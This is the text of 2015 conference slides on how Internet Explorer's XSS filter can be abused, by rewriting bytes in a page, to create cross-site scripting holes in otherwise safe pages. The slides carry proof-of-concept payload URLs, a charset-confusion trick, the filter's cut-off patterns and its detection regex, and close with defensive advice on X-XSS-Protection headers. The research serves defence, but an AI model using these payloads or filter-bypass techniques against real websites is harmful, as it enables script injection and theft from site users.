84
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter (Prudence Edition) Masato Kinugawa

XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Embed Size (px)

Citation preview

Page 1: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

X-XSS-Nightmare: 1; mode=attack

XSS Attacks Exploiting XSS

Filter(Prudence Edition)

Masato Kinugawa

Page 2: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Self-Introduction

Masato Kinugawa

Page 3: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Self-Introduction

Masato Kinugawaxs

Page 4: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Self-Introduction

Masato Kinugawaxs

BHunter

Page 5: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Bug-hunter's Joy

Self-Introduction

Page 6: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Today's topics

❶XSS technique❷Bypass XSS filter technique

Using IE’s XSS filter

Page 7: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Today's topics

❶XSS technique❷Bypass XSS filter technique

Using IE’s XSS filter

Sorry! I Changed today's topics!

Page 8: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Today's topics

What is XSS filter?

How to associate with XSS filter?

Page 9: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

XSS Filter

Chrome and Safari have the same function.

➡This time, I pick up IE's filter.

It was introduced from IE8.(2009)

Page 10: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Basic of XSS filter of IE

http://example.com/?q=<img+src=x+onerror=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"></head><body>q param is: <img src=x onerror=alert(1)></body></html>

Before cut-off

If request and response are matched with dangerous condition, XSS filter rewrites a page.

Page 11: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Like this #

http://example.com/?q=<img+src=x+onerror=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"></head><body>q param is: <img src=x #nerror=alert(1)></body></html>

If request and response are matched with dangerous condition, XSS filter rewrites a page.

After cut-off

Page 12: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Inaccuracy of XSS Filter

If matched with the condition, XSS filter rewrites a string unrelated to part of a dynamic creation of user input.

http://example.com/?q=AAA&<meta+charset=

<!DOCTYPE html><html><head><m#ta charset="utf-8"></head><body>q param is: AAA</body></html>

Page 13: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

World of after introduction of XSS

filterAll site suddenly had the possibility of partial rewrite of a page.

##

#

2008 2009

Page 14: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

About little changeIs it no big deal?

➡Let’s think about changing 1 byte at somewhere!

##

#

Page 15: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=AAA

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="AAA".replace(/</g,'&lt;');document.write(s);</script></body></html> Dynamic creation of

User's input to inside of string literal

Page 16: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q="/</script\

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="\"/<\/script\\".replace(/</g,'&lt;');document.write(s);</script></body></html> XSS measures is OK

Page 17: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 18: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 19: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 20: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 21: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 22: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 23: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 24: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 25: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

&lt;svg/onload=alert(1)>

Page 26: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 27: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 28: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 29: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

Page 30: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

Page 31: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

Page 32: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

Page 33: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

Page 34: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

Page 35: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

<svg/onload=alert(1)>

Page 36: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'&lt;');document.write(s);</script></body></html>

<svg/onload=alert(1)>

Page 37: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=</title><svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 38: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=</title><svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 39: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=</title><svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 40: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=</title><svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 41: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=</title><svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 42: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=%E3%81%95";alert(1)//

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="さ \";alert(1)//".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 43: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=%E3%81%95";alert(1)//

<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="さ \";alert(1)//".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 44: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Interpretation of UTF-8

"さ \";alert(1)//"

0xE3 0x81 0x95 0x5C

UTF-8 さ \Shift_JI

S 縺 表

Page 45: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

"縺表 ";alert(1)//"

Interpretation of Shift_JIS0xE3 0x81 0x95 0x5C

UTF-8 さ \Shift_JI

S 縺 表

Page 46: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=%E3%81%95";alert(1)//

<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="縺表 ";alert(1)//".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 47: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=%E3%81%95";alert(1)//

<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="縺表 ";alert(1)//".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 48: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Basically,Even 1 byte of change is risk.

In the past,

If you don't do careful, Rewrite of XSS filter also becomes vulnerable.

https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf

Universal XSS via IE8s XSS FiltersEduardo Vela Nava & David Lindsay

Page 49: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

2015: Is it safe at now?

Let’s see how much real cut-off rule is!

I found XSS vulnerable patterns page of normal structure which has no XSS

It is safe…no, it doesn't!

Apart from it this

This case will publish after modify.

Page 50: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Cut-off RuleIt isn't documented in particular. We can see the loading binary to browser of dll include regular expression of cut-off strings.

Page 51: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href

<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\

Page 52: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href

<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\

Page 53: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href

<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\

Page 54: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

<button va#ue=<fo#m><texta#ea><is#ndex><input va#ue=<option va#ue=<em#ed src=<em#ed type=<if#ame src=<f#ame src=<x:vmlf#ame src=<li#k href=<im#ort implementation=<m#ta http-equiv=<m#ta charset=<a hr#f

<script src=<script xlink:href=<script href=<script><ap#let><ob#ect type=<ob#ect codetype=<ob#ect classid=<ob#ect code=<ob#ect data=<ba#e href=<style>@i<style>:(<style>:\<style>=(<style>=\ After cut-off

Page 55: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

<button va#ue=<fo#m><texta#ea><is#ndex><input va#ue=<option va#ue=<em#ed src=<em#ed type=<if#ame src=<f#ame src=<x:vmlf#ame src=<li#k href=<im#ort implementation=<m#ta http-equiv=<m#ta charset=<a hr#f

<script src=<script xlink:href=<script href=<script><ap#let><ob#ect type=<ob#ect codetype=<ob#ect classid=<ob#ect code=<ob#ect data=<ba#e href=<style>@i<style>:(<style>:\<style>=(<style>=\ After cut-off

Page 56: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://example.com/?q=<svg/onload=alert(1)>

<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'&lt;');document.write(s);</script></body></html>

Page 57: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

<a hr#f<m#ta charset=<li#k href=<script>

DEMO#❶

❷❸❹

Page 58: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

I want you to feel itSafety of your site is depend on XSS filter.

➡Is it browser's bug?  Should browser do something about it?

I can not say rewrite of page is always safe.

Page 59: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

From the first, your page is

Can you declare your site that can stand up to partial breakdown?

Page 60: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

XSS filter can do thisXSS filter very carefully rewrites a page.

#

Page 61: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

In fact

In some case, it is possible to not operate specific function from intentional false positive. (…)Did the author of XSS filter introduce XSS filter while recognizing about the risks? (or not) I’m interested a little about it.

Mr. Terada's bloghttp://d.hatena.ne.jp/teracc/20090622

Browser side introduced it, knowing the risk.Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:

Page 62: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

In fact

http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke

Insider said"The answer is Yes. ".

Mr. Hasegawa

Browser side introduced it, knowing the risk.Mr. Terada and Mr. Hasegawa's log at 6 years ago is as follows:

➡Does Web developer use it while taking care of the risk?

Page 63: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

What is "taking care of the

risk"?✔ you should completely grasp XSS filter's cut-off action.✔ If the part of the page is rewritten, you should inspect all page for normal operation and safety.

✔ If the page includes dangerous part, you should rewrite the code one by one for avoidance.

Then, you should do as follows:

Can you do those?

Page 64: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Example of cut-off string

javascript:1vbscript:1vbs:1

Page 65: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Example of cut-off string

javasc#ipt:1v#script:1v#s:1

Is this simple?

Page 66: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Detail of cut-off of javascript:

{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}

Page 67: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Detail of cut-off of javascript:

{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}

http://masatokinugawa.l0.cm/2012/09/xss3.html

Page 68: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

If you can do those,✔ you should completely grasp XSS filter's cut-off action.✔ If the part of the page is rewritten, you should inspect all page for normal operation and safety.

✔ If the page includes dangerous part, you should rewrite the code one by one for avoidance.

I think you can modify all XSS on your site...

➡What is the best?

Page 69: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

X-XSS-Protection:Value Effect

0 Disable

1 Enable(Partial rewrite)

1;mode=blockEnable

(Prevent rendering of the page)

Default

The response header that can control XSS filter.

Page 70: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

How arecareful persons doing?

Page 71: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

HTTP/2.0 200 OKDate: Mon, 19 Oct 2015 22:32:06 GMTContent-Type: text/html; charset=UTF-8Content-Encoding: gzipServer: gwsX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGIN...

Page 72: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/htmlDate: Mon, 19 Oct 2015 22:40:37 GMTx-content-type-options: nosniffX-Frame-Options: DENYX-XSS-Protection: 0...

Page 73: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

They are calculatingly controlling!!

Page 74: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

The choice which considered more

safetyValue Sites which should choose header

0 They are measuring basic XSS./They want to remove false-negative.

1 Not recommended(Discovered technique affects here.)

1;mode=block

It is probable that the site have XSS./They want to protect site just in case.

default

X-XSS-Protection:0 or 1;mode=block

Page 75: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Is mode=block safe?

It should don't affect direct script execution.I think a favor of the filter is bigger than it.

If feature of cut-off can detect from outside,they may guess page contents.This possibility probably can't be changes to zero.

On the other hand…

Page 76: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Comments for Web developer

Me

How about changing to 1;mode=block?

Page 77: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Comments for Web developer

How about changing to 1;mode=block?

Cut-off explanation is unkind, It is difficult when user support

of false-negative…

Dev

Me

Page 78: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Cut-off explanation is unkind.

Sure…

Page 79: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

I think this site is measuring basic XSS,Would you like to use X-XSS-Protection:0?

Me

Comments for Web developer

Page 80: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

I think this site is measuring basic XSS,Would you like to use X-XSS-Protection:0?

MeUser may think about setting of infelicity security function with highly priority of product action.

Dev

Comments for Web developer

Page 81: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

Trap of XSS filterXSS filter cut off only attacked position then it shows other position, it seems like the smartest.

0 1 block

This action is the risk.

Page 82: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

ConclusionsI'm hoping for improvement of XSS filter.

It should still be possible to do safely.Is present default action really OK?

In theory, cut-off risk is inseparable from XSS filter.I want web developer to know this possibility.I highly recommend XSS protection control except default action.

Page 83: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

http://l0.cm/xxn/

Real Nightmare will be published on this

URL.

lower-case of L and Zero

Page 84: XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015

";alert#"Thanks!"#//

@kinugawamasatomasatokinugawa@gmail#c

om